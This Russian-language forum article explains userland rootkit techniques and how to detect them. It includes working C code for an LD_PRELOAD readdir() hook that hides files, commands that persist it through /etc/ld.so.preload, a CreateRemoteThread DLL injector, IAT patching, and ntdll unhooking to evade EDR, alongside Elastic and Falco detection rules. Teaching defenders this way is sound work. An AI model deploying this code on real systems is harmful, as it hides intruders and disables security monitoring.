Статья Userland rootkit техники сокрытия: LD_PRELOAD, DLL injection, IAT/EAT hooking на практике

Userland rootkit техники: LD_PRELOAD перехват, DLL injection и IAT hooking без привилегий ядра


Когда речь заходит о руткитах, большинство аналитиков первым делом лезут в kernel-mode - LKM-модули, патчинг syscall table, DKOM. Но в реальных red team-кампаниях и при разборе инцидентов я раз за разом вижу одну и ту-же картину: атакующий не лезет в Ring 0. Ему хватает Ring 3. Userland rootkit техники сокрытия позволяют спрятать процессы, файлы, сетевые соединения и бэкдоры без единой строки кода в ядре - и при этом обойти антируткиты, работающие в том же пространстве пользователя. Разберу четыре подхода, покажу рабочий код и объясню, где каждая техника ломается под взглядом защитника.

Руткит без привилегий ядра: почему это работает​

Классическое деление на user space и kernel space определяет всё. Ядро управляет железом и предоставляет системные вызовы, а пользовательские процессы работают с ограниченными привилегиями, изолированные друг от друга через виртуальную память. Руткит уровня ядра модифицирует внутренние структуры ОС, а руткит без привилегий ядра перехватывает то, что происходит до системного вызова - на уровне libc, ntdll.dll или пользовательских библиотек.

По классификации MITRE ATT&CK это техника Rootkit (T1014, Defense Evasion; описана для Linux, Windows и macOS, хотя публичные тесты Atomic Red Team есть преимущественно для Linux). Конкретные механизмы доставки и перехвата маппятся на целый набор дополнительных техник: Dynamic Linker Hijacking (T1574.006, Linux/macOS), Dynamic-link Library Injection (T1055.001, Windows), Process Injection (T1055, описана для Windows, Linux и macOS, хотя публичные тесты Atomic Red Team - только для Windows), Credential API Hooking (T1056.004, Windows) и Native API (T1106, Windows).

Почему атакующие выбирают userland вместо kernel? Три причины:
  • Kernel panic убивает сервер и моментально привлекает внимание. Ошибка в userland-руткките - просто крэш процесса, который можно тихо перезапустить
  • Secure Boot, module signing, SELinux усложняют загрузку LKM. В userland этих барьеров нет
  • Userland-руткит проще адаптировать между версиями ОС - не нужно подгонять под конкретную сборку ядра
По данным Elastic Security Labs, hash-based детектирование до сих пор уязвимо: добавление одного байта к бинарю меняет SHA256 и обходит сигнатуры, привязанные к хешу, а strip --strip-all может снизить детект движков, которые опираются на метаданные ELF. Но не стоит обольщаться - современные AV-движки на VirusTotal используют fuzzy hashing, YARA-правила по содержимому, эмуляцию и ML-модели, которые устойчивы к таким тривиальным модификациям. Эффективность обхода сильно зависит от конкретного образца и набора движков.

LD_PRELOAD rootkit Linux: перехват через динамический линкер​

Фундаментальная техника, с которой начинается каждый userland rootkit на Linux. Маппится на (T1574.006, Persistence / Privilege Escalation / Defense Evasion; применима к Linux и macOS).

Механика: переменная среды и /etc/ld.so.preload​

Когда динамический линкер (ld-linux-x86-64.so.2) загружает ELF-бинарь, он проверяет две вещи: переменную окружения LD_PRELOAD и файл /etc/ld.so.preload. Библиотеки, указанные в них, загружаются раньше всех остальных. Если в такой библиотеке есть функция с тем же именем, что и в libc - она перекроет оригинал. Простой и наглый приём.

Два вектора активации:

ВекторОбласть действияНужен rootПерсистентность
LD_PRELOAD=./evil.so ./targetОдин процессНетНет
Запись в /etc/ld.so.preloadВсе процессы в системеДаДа, переживает ребут

Для руткита интересен именно второй - глобальная инъекция. Каждый динамически слинкованный бинарь на системе будет загружать вашу библиотеку. Красота.

Практика: скрываем процесс и файл​

Утилита ls использует readdir() из libc для получения списка файлов. Проверяем через ltrace:
Bash:
ltrace ls 2>&1 | grep -E "opendir|readdir|closedir"
# opendir(".")     = 0x55de4a72e9d0
# readdir(0x55de4a72e9d0) = 0x55de4a72ea00
# readdir(0x55de4a72e9d0) = 0x55de4a72ea18
# closedir(0x55de4a72e9d0) = 0
Перехватываем readdir() и фильтруем записи по имени. Через dlsym(RTLD_NEXT, "readdir") получаем указатель на оригинальную функцию в libc, чтобы вернуть корректный результат для всего остального:
C:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>

#define HIDE_PREFIX "rootkit"

static struct dirent* (*real_readdir)(DIR *) = NULL;

struct dirent *readdir(DIR *dirp) {
    if (!real_readdir)
        real_readdir = dlsym(RTLD_NEXT, "readdir");

    struct dirent *entry;
    do {
        entry = real_readdir(dirp);
    } while (entry && strstr(entry->d_name, HIDE_PREFIX));
 
    return entry;
}
Компиляция и проверка:
Bash:
gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
ls -la
# видим rootkit.so
LD_PRELOAD=./rootkit.so ls -la
# rootkit.so отсутствует в выводе
Для сокрытия процессов аналогично перехватывается readdir(), но уже при чтении /proc - утилита ps итерирует директории /proc/[pid]. Если d_name совпадает с PID целевого процесса, запись пропускается. Проект libprocesshider делает ровно это.

Для глобальной персистентности:
Bash:
# От root
cp rootkit.so /usr/lib/rootkit.so
echo "/usr/lib/rootkit.so" > /etc/ld.so.preload
После этого каждый вызов ls, ps, netstat на системе загрузит вашу библиотеку. Тотальная подмена реальности для userland.

Обнаружение LD_PRELOAD rootkit​

По данным Elastic Security Labs, эффективный детект строится на мониторинге нескольких точек.

Создание новых .so файлов в подозрительных директориях:
Код:
file where event.action == "creation" and
(file.extension like~ "so" or file.name like~ "*.so.*")
Модификация файлов динамического линкера:
Код:
file where event.action in ("creation", "rename") and
file.path like ("/etc/ld.so.preload", "/etc/ld.so.conf", "/etc/ld.so.conf.d/*")
Нестандартные значения LD_PRELOAD при запуске процессов - через мониторинг env_vars. Elastic рекомендует правила типа new_terms, срабатывающие только на ранее невиданные .so в LD_PRELOAD.

Но тут есть фундаментальная проблема, и о ней стоит знать. Исследование arxiv (2506.07827v1) демонстрирует, что . Руткит может перехватить функции самого антируткита - unhide, OSSEC и подобных. Авторы показали несколько техник обхода: hooking функций антируткита, подмену shell, манипуляции с namespace и перехват через ptrace. Вывод неутешительный: для надёжного обнаружения нужен trusted source вне userspace - ядро, гипервизор или аппаратный уровень.

DLL injection техники Windows: внедрение в чужой процесс​

На Windows userland rootkit чаще всего реализуется через DLL injection - внедрение своей библиотеки в адресное пространство целевого процесса. Техника Dynamic-link Library Injection (T1055.001, Defense Evasion / Privilege Escalation).

CreateRemoteThread и классическая инъекция​

Стандартная цепочка, которую я гоняю в лабораторных средах и которая лежит в основе большинства публичных инструментов:
  1. OpenProcess() - получаем хэндл целевого процесса с правами PROCESS_ALL_ACCESS
  2. VirtualAllocEx() - выделяем память в целевом процессе
  3. WriteProcessMemory() - записываем полный путь к DLL
  4. CreateRemoteThread() - создаём поток с точкой входа LoadLibraryA
C:
// Классика жанра - DLL injection через CreateRemoteThread
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID pRemote = VirtualAllocEx(hProc, NULL, MAX_PATH,
                                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, pRemote, dllPath, strlen(dllPath) + 1, NULL);

HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
FARPROC pLoadLib = GetProcAddress(hKernel32, "LoadLibraryA");

CreateRemoteThread(hProc, NULL, 0,
                   (LPTHREAD_START_ROUTINE)pLoadLib, pRemote, 0, NULL);
В x64dbg это выглядит как появление нового потока в целевом процессе, стартующего с адреса kernel32!LoadLibraryA. В Process Hacker - новый модуль в списке загруженных DLL. Палится на раз, но для понимания механики - то что надо.

Альтернативные методы DLL injection:

МетодAPIДетектируемость
CreateRemoteThreadOpenProcess + WriteProcessMemory + CreateRemoteThreadВысокая - мониторится всеми EDR
SetWindowsHookExSetWindowsHookEx(WH_CBT, ...)Средняя - легитимное применение
QueueUserAPCQueueUserAPC + NtAlertResumeThreadСредняя - менее мониторится
NtCreateSection + NtMapViewOfSectionNtdll native APIНизкая - обход userland хуков

Лично я на проектах чаще вижу последний вариант - через native API. CreateRemoteThread в 2025 году - это как зайти в банк в маске из фильма «Крик». Работает, но камеры всё видят.

Reflective DLL injection​

Классическая инъекция оставляет DLL на диске и регистрирует её в списке модулей процесса. Reflective DLL injection (техника Stefan Fewer) загружает библиотеку из памяти: DLL содержит собственный загрузчик (ReflectiveLoader), который парсит PE-заголовки, разрешает импорты и вызывает DllMain - без участия Windows Loader. При корректной реализации reflective loader не регистрирует модуль в PEB->Ldr->InLoadOrderModuleList, хотя некоторые кривые реализации могут оставлять следы в списках загруженных модулей.

Cobalt Strike активно использует этот подход для post-exploitation. По данным практического тестирования Advania, даже при загрузке EDR-библиотек в целевой процесс, reflective DLL injection через Cobalt Strike позволял обойти инспекцию - инжектор не вызывал «опасные» API напрямую.

Обнаружение DLL injection​

Что видно в EDR:
  • Вызовы OpenProcess с PROCESS_ALL_ACCESS к чужому процессу - без истинной причины это аномалия
  • WriteProcessMemory в адресное пространство другого процесса
  • Регионы памяти с правами RWX (Read-Write-Execute) - проверяется в Process Hacker через Memory → Properties
  • Для классической инъекции: поток, стартующий с LoadLibraryA/LoadLibraryW с аргументом, указывающим на неизвестную DLL
  • Для reflective injection / shellcode: поток, стартующий с адреса, не принадлежащего ни одному загруженному модулю

IAT hooking и EAT hooking: перехват через таблицы PE-файла​

Когда DLL уже загружена в целевой процесс (или руткит работает в контексте своего), следующий шаг - перехват конкретных API-вызовов. IAT hooking - одна из старейших и самых прозрачных техник. В MITRE ATT&CK hooking с целью сокрытия маппится на T1014 (Rootkit). Для перехвата учётных данных применима T1056.004 ( ). T1055 (Process Injection) относится к этапу внедрения кода в чужой процесс (например, DLL injection), а не к самому hooking таблиц внутри уже скомпрометированного процесса.

Как работает IAT hooking​

Каждый PE-файл содержит Import Address Table - таблицу с адресами импортированных функций. При загрузке Windows Loader разрешает имена функций в реальные адреса и записывает их в IAT. Когда программа вызывает, скажем, CreateFileW, она на самом деле делает indirect call через указатель в IAT.

IAT hooking подменяет адрес в этой таблице на адрес вашей функции-перехватчика:
C:
// IAT hooking - подмена адреса в таблице импорта
#include <windows.h>
#include <dbghelp.h>

// Находим IAT-запись для целевой функции
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = /* ... парсинг PE-заголовков ... */;

// Проходим по IMAGE_THUNK_DATA
PIMAGE_THUNK_DATA pThunk = /* ... */;
for (; pThunk->u1.Function; pThunk++) {
    FARPROC *pFunc = (FARPROC *)&pThunk->u1.Function;
    if (*pFunc == pOriginalFunction) {
        DWORD oldProtect;
        VirtualProtect(pFunc, sizeof(FARPROC), PAGE_READWRITE, &oldProtect);
        *pFunc = (FARPROC)pHookFunction;  // подмена адреса
        VirtualProtect(pFunc, sizeof(FARPROC), oldProtect, &oldProtect);
        break;
    }
}
Когда я открываю подозрительный бинарь в 010 Editor или HxD, первое, что проверяю - совпадают ли адреса в IAT с реальными адресами экспортируемых функций в загруженных DLL. Расхождение - прямой индикатор hooking. Тут не надо быть гением, достаточно сравнить два столбца.

EAT hooking техники​

Export Address Table - зеркальная сторона медали. EAT находится в DLL, которая экспортирует функции (kernel32.dll, ntdll.dll). Если модифицировать адрес в EAT, то все модули в текущем процессе, которые впоследствии разрешат эту функцию через GetProcAddress, получат адрес хука.

Разница критична:

ХарактеристикаIAT hookingEAT hooking
Что модифицируетсяТаблица импорта целевого PEТаблица экспорта DLL-источника
Область действияОдин модуль в одном процессеВсе будущие резолвы через GetProcAddress в том же процессе
Сложность реализацииСредняяВысокая - нужно парсить экспорты DLL
ОбнаружениеСравнение IAT с реальными адресамиСравнение EAT на диске и в памяти

Детект IAT/EAT hooking​

Инструменты вроде API Monitor и Telemetry Sourcerer сравнивают первые байты инструкций функций в памяти с «чистой» версией из DLL на диске. Если первая инструкция NtOpenProcess - это jmp куда-то вместо стандартного пролога (mov r10, rcx; mov eax, SSN), перед нами хук. Тот же принцип используют EDR для мониторинга - и атакующие для обхода. Ирония в том, что техника одна и та-же, разница только в том, кто её применяет.

Inline hooking и перехват системных вызовов userland​

Inline hooking (он же API hooking через патчинг пролога) - самая прямолинейная техника. Вместо изменения таблиц вы перезаписываете первые байты целевой функции на jmp к своему обработчику. Грубо, зато надёжно.

Перезапись пролога функции​

Стандартный пролог функции NtCreateFile в ntdll.dll на x64:
Код:
mov r10, rcx
mov eax, 0x55      ; номер syscall
syscall
ret
После установки inline hook:
Код:
jmp 0xDEADBEEF     ; прыжок на функцию-перехватчик
nop
nop
Библиотеки MinHook и Microsoft Detours делают это прозрачно: сохраняют оригинальные байты в «трамплин», ставят jmp на хук, а из хука можно вызвать трамплин для выполнения оригинальной функции. Именно эти библиотеки я встречал в реальных образцах малвари при анализе через x64dbg - они настолько удобны, что малварщики не утруждают себя написанием собственного хукинг-движка.

EDR используют тот же механизм - ставят inline hooks на функции ntdll.dll (NtOpenProcess, NtCreateThread, NtCreateUserProcess) для мониторинга поведения. Различие между «хук EDR» и «хук малвари» - только в том, кто поставил первым.

Обход EDR через unhooking​

По данным практического тестирования Advania, существует несколько техник обхода userland API hooking EDR:

Full DLL Unhooking - полное восстановление DLL. Загружаем свежую копию ntdll.dll с диска, сравниваем секцию .text с той, что в памяти, и перезаписываем хуки оригинальными байтами:
C:
// Full DLL Unhooking - снимаем хуки EDR с ntdll.dll
// 1. Загружаем чистую ntdll.dll с диска
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
                           GENERIC_READ, FILE_SHARE_READ, NULL,
                           OPEN_EXISTING, 0, NULL);
// 2. Маппим в память
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pClean = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

// 3. Получаем базовый адрес хукнутой ntdll в памяти
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSection++) {
    if (memcmp(pSection->Name, ".text", 5) == 0) {
        LPVOID pHookedText = (LPVOID)((BYTE*)hNtdll + pSection->VirtualAddress);
        // Аналогично парсим .text в чистой копии pClean
        PIMAGE_DOS_HEADER pCleanDos = (PIMAGE_DOS_HEADER)pClean;
        PIMAGE_NT_HEADERS pCleanNt = (PIMAGE_NT_HEADERS)((BYTE*)pClean + pCleanDos->e_lfanew);
        PIMAGE_SECTION_HEADER pCleanSec = IMAGE_FIRST_SECTION(pCleanNt);
        LPVOID pCleanText = (LPVOID)((BYTE*)pClean + pCleanSec->PointerToRawData);
        DWORD textSize = pSection->Misc.VirtualSize;
        DWORD oldProtect;
        VirtualProtect(pHookedText, textSize, PAGE_EXECUTE_READWRITE, &oldProtect);
        memcpy(pHookedText, pCleanText, textSize);
        VirtualProtect(pHookedText, textSize, oldProtect, &oldProtect);
        break;
    }
}
Direct Syscall - прямые сисколы. Вместо вызова функции через ntdll.dll (где стоит хук) - выполняем инструкцию syscall напрямую с нужным номером SSN. SysWhispers и D/Invoke построены на этом принципе. По сути, мы просто обходим ntdll стороной.

Менее мониторимые API. Не все функции захукены. Advania обнаружила, что CreateThreadpoolWait не перехватывалась EDR, в то время как NtOpenProcess был захукен. Использование менее популярных API - простейший способ обхода, и он работает чаще, чем хотелось бы защитникам.

Сравнение userland rootkit техник​

ТехникаОСMITRE ATT&CKТребует root/adminПерсистентностьСложность детекта
LD_PRELOAD (env var)LinuxT1574.006НетНетНизкая
/etc/ld.so.preloadLinuxT1574.006ДаДаСредняя
CreateRemoteThread DLL injectionWindowsT1055.001Зависит от цели (тот же пользователь - нет; чужой/elevated - да)НетСредняя
Reflective DLL injectionWindowsT1055.001Зависит от цели (тот же пользователь - нет; чужой/elevated - да)НетВысокая
IAT hookingWindowsT1014 / T1056.004В контексте процессаНетНизкая
EAT hookingWindowsT1014 / T1056.004В контексте процессаНетСредняя
Inline hookingWindows/LinuxT1014 / T1056.004В контексте процессаНетСредняя

Практический блок: полный цикл LD_PRELOAD rootkit​

🔓 Эксклюзивный контент для зарегистрированных пользователей.

Userspace rootkit обнаружение: рекомендации для SOC​

На основе данных Elastic Security Labs и академических исследований, рабочий подход к обнаружению userland rootkit строится на нескольких уровнях.

Мониторинг динамического линкера - отслеживание создания и модификации /etc/ld.so.preload, /etc/ld.so.conf, файлов в /etc/ld.so.conf.d/. Цепочка «создан .so файл + модифицирован ld.so.preload» на одном хосте - повод для немедленного расследования. Если у вас это не в алертах - добавьте прямо сейчас.

Сравнение userland vs kernel - антируткит unhide сравнивает список PID из /proc (через readdir) со списком из brute-force перебора. Расхождение означает скрытый процесс. Но как показано выше, даже unhide можно обмануть из userland.

Целостность DLL/SO в памяти - сравнение загруженных в память библиотек с их дисковыми копиями. Расхождение в секции .text = inline hook.

Kernel-level телеметрия - eBPF-программы мониторинга (Falco, Tetragon) видят системные вызовы напрямую, без прослойки libc. Правило для обнаружения подозрительной загрузки:
YAML:
- rule: Modification of ld.so.preload
  desc: Potential userland rootkit installation
  condition: >
    open_write and fd.name = "/etc/ld.so.preload"
  output: "ld.so.preload modified (user=%user.name command=%proc.cmdline)"
  priority: CRITICAL
Сочетание нескольких сигналов - единственный рабочий подход. Один артефакт можно скрыть, скоррелированную цепочку - значительно сложнее.

Заключение​

Userland rootkit техники сокрытия - не «упрощённая версия» kernel rootkit. Это отдельный класс угроз со своим зоопарком: LD_PRELOAD на Linux, DLL injection и IAT/EAT hooking на Windows, inline hooking на обеих платформах. У каждой техники свой баланс между сложностью реализации и детектируемостью. Для атакующего главное преимущество userland - стабильность и низкий порог входа. Для защитника - понимание, что любой инструмент, работающий в Ring 3, может быть обманут.

Настоящий детект начинается там, где userland заканчивается: в ядре, в гипервизоре, в аппаратной телеметрии. Если ваш SOC полагается только на userland-агенты - попробуйте прогнать LD_PRELOAD-руткит из практического блока на тестовом хосте. Результат может неприятно удивить.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab